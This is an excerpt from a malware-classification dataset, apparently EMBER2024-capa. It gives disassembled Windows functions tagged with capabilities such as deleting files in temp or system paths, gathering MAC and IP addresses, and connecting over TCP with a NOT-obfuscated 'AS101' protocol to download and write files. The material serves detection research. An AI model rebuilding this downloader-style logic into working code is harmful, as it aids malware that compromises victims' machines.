joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40260c
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.00407ba0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00407ba0
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401d06
pop ecx
test eax, eax
je 0x402738
xor eax, eax
movzx ecx, word [eax + 0x413294]
mov word [eax + 0x417570], cx
add eax, 2
cmp cx, si
jne 0x40266c
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
cmp cx, si
jne 0x402684
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
cmp cx, si
jne 0x40269d
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov word [0x41746c], ax
mov ax, word [ebp - 0x2ea]
mov word [0x4175f0], ax
mov dword [0x4175f4], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x4026f6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402713
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040425d
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040425d
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040424e
leave
ret

Function at 0x402747
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [0x415f10], 0
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00407ba0
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4027db
mov eax, dword [ebp - 0x118]
push 5
pop ecx
cmp dword [ebp - 0x11c], ecx
jne 0x4027b7
cmp eax, 2
jae 0x4027ad
cmp eax, 1
jne 0x4027db
mov dword [0x415f10], 3
cmp dword [ebp - 0x11c], 6
jne 0x4027db
test eax, eax
jne 0x4027d0
mov dword [0x415f10], 4
jmp 0x4027db
cmp eax, 1
jne 0x4027db
mov dword [0x415f10], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040424e
leave
ret

Function at 0x4027e7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00407ba0
add esp, 0xc
cmp dword [0x415f10], 3
lea eax, [ebp - 0x20c]
jne 0x40284d
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040425d
add esp, 0xc
pop esi
jmp 0x402859
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.0040424e
leave
ret
Function at 0x402917
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x218], 0
push ebx
push esi
push edi
mov dword [ebp - 0x21c], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407ba0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
movzx eax, word [ebp - 0x214]
sub eax, 0x41
push eax
call fcn.00402b5c
push dword [ebp - 0x218]
call fcn.00402c49
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x402a50
mov esi, 0x400
push esi
call fcn.00404d8d
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.00407ba0
add esp, 0xc
mov ecx, edi
call fcn.00402a61
push ebx
push edi
push 2
pop edx
mov ecx, eax
call fcn.00402b0e
pop ecx
pop ecx
test eax, eax
je 0x402a49
mov ecx, dword [ebx + 4]
mov esi, str._GBP
mov eax, esi
cmp ecx, dword [eax]
jne 0x402a15
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4029e7
sub eax, edx
sar eax, 1
je 0x402a15
mov edi, dword [ebp - 0x21c]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00404e21
xor eax, eax
pop ecx
inc eax
jmp 0x402a52
push ebx
push edi
push 2
pop edx
push 0x1e
pop ecx
call fcn.00402b0e
pop ecx
pop ecx
test eax, eax
je 0x402a49
mov eax, dword [ebx + 4]
cmp eax, dword [esi]
jne 0x402a49
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402a38
sub eax, edx
sar eax, 1
jne 0x4029f8
push ebx
call fcn.00404e21
pop ecx
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret

Function at 0x402b0e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
xor esi, esi
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], esi
je 0x402b56
xor eax, eax
shld eax, ecx, 9
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl edx, 9
push edx
push dword [ebp + 0xc]
shl ecx, 9
push dword [ebp + 8]
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x402d40
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x4135d4
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0040457f
add esp, 0xc
test eax, eax
je 0x402d6d
xor eax, eax
jmp 0x402df8
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00404ee5
push dword [ebp - 4]
call fcn.004050f5
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00404ee5
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.00404d8d
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404810
push dword [ebp - 4]
call fcn.0040489a
push ebx
lea ebx, [edi + esi]
call fcn.00402dfc
push 0x4135f4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0040457f
add esp, 0x44
pop esi
test eax, eax
jne 0x402d66
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00404a65
push dword [ebp - 4]
call fcn.0040489a
add esp, 0x14
test edi, edi
je 0x402df5
push edi
call fcn.00404e21
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x40330d
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40338d
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403363
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x403392
cmp dword [ebp - 8], 3
jb 0x403328
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x403386
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x403386
cmp edi, esi
jne 0x403371
mov eax, dword [ebp - 4]
jmp 0x4033a9
cmp dword [eax + 0x34], 6
jne 0x4033a6
cmp dword [eax + 0x1c], esi
jne 0x4033af
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x40339b
jmp 0x4033ec
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403374
Function at 0x40356a
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403696
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403687
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407ba0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407ba0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x40361c
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004042d2
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040425d
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x4035ee
cmp word [edi], 0
je 0x403642
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00403f0a
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x40362a
push 0x417c78
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040425d
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403681
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret

Function at 0x4038cb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x4038ed
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403915
xor eax, eax
jmp 0x4039a7
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40390e
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403955
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403996
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403996
xor ebx, ebx
inc ebx
jmp 0x4039a5
mov eax, dword [esi]
test eax, eax
je 0x4039a5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret
Function at 0x403b00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403b7c
push esi
mov esi, dword [ebp + 0x10]
push edi
cmp esi, ecx
jle 0x403b26
mov eax, dword [ebp + 0xc]
not byte [eax + ecx]
inc ecx
cmp ecx, esi
jl 0x403b1b
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040530e
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408710
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403b7f
cmp eax, dword [ebp - 4]
jne 0x403b7f
mov dword [ebp - 8], 1
jmp 0x403b7f
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403b8a
push ebx
call fcn.004056e7
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x403d8f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x8d8], edi
lea eax, [ebp - 0x8cc]
cmp edx, ebx
je 0x403dcb
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x8d4], ebx
cmp esi, ebx
je 0x403ef5
cmp edi, ebx
je 0x403ef5
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], dl
call fcn.00407ba0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403ef5
cmp eax, ebx
je 0x403ef5
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
call fcn.0040530e
pop ecx
mov dword [ebp - 0x8d0], eax
test edi, edi
jle 0x403ee0
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x8d0]
add eax, ebx
push eax
mov eax, dword [ebp - 0x8dc]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403ebe
test eax, eax
je 0x403ebe
add ebx, eax
cmp edi, ebx
jg 0x403e46
push 5
pop ecx
cmp ebx, ecx
jl 0x403ee0
mov edi, dword [ebp - 0x8d0]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403ee0
mov ecx, dword [ebp - 0x8d0]
test ebx, ebx
jle 0x403e9e
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x403e98
mov esi, dword [ebp - 0x8e0]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403ec6
push ebx
push ecx
push dword [ebp - 0x8d8]
call fcn.00408710
mov dword [esi], ebx
jmp 0x403ed3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403ee0
push eax
push ecx
push dword [ebp - 0x8d8]
call fcn.00408710
add esp, 0xc
mov dword [ebp - 0x8d4], 1
cmp dword [ebp - 0x8d0], 0
je 0x403ef5
push dword [ebp - 0x8d0]
call fcn.004056e7
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8d4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret
Function at 0x403f0a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00407ba0
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.004042d2
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x403f5b
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x403f82
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.00404d8d
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00407ba0
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00407ba0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00407ba0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.004038cb
pop ecx
test eax, eax
je 0x404112
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.004039b4
add esp, 0xc
test eax, eax
je 0x404112
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403b90
pop ecx
pop ecx
test eax, eax
je 0x404112
cmp word [ebp - 0xe14], si
jne 0x404112
cmp dword [ebp - 0xe24], 0
je 0x404112
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x404112
push 0x417c78
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040425d
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x4135f4
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.0040457f
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404108
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.00404151
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x404127
push dword [ebp - 0xe1c]
call fcn.00404e21
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x40413c
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret
Function at 0x404151
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d7c0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x100c], eax
push 4
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404192
xor eax, eax
jmp 0x4041f5
cmp dword [ebp - 0x1008], ebx
jbe 0x4041de
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x1010], eax
test eax, eax
je 0x4041de
mov ecx, dword [ebp - 0x100c]
push dword [ecx]
push eax
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.00404a65
add ebx, dword [ebp - 0x1010]
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x40419a
mov eax, dword [ebp - 0x100c]
push dword [eax]
call fcn.0040489a
cmp ebx, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret

Function at 0x40424e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x404258
repz ret
jmp fcn.004059ce
Function at 0x40db5b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409713
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40dc0e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40dcb6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40dcb6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40dc0e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40dc67
cmp dword [0x416cbc], ecx
je 0x40dc67
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40dc67
test ebx, ebx
je 0x40dc67
call edi
test eax, eax
je 0x40dc5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40dc5e
test byte [ebp - 8], 1
jne 0x40dc67
or dword [ebp + 0x10], 0x200000
jmp 0x40dc9a
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40dc9a
push eax
call esi
test eax, eax
je 0x40dc9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40dc9a
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40dc9a
push eax
call esi
test eax, eax
je 0x40dc9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40dcb6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40dcb8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret
Function at 0x401400
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dbg.wmain
mov dword [esp], eax
call sym._exit

Function at 0x401500
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x40155d
cmp byte [esi + ebx - 1], 0xa
je 0x40152f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov edx, 0x405084
lock xchg dword [edx], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret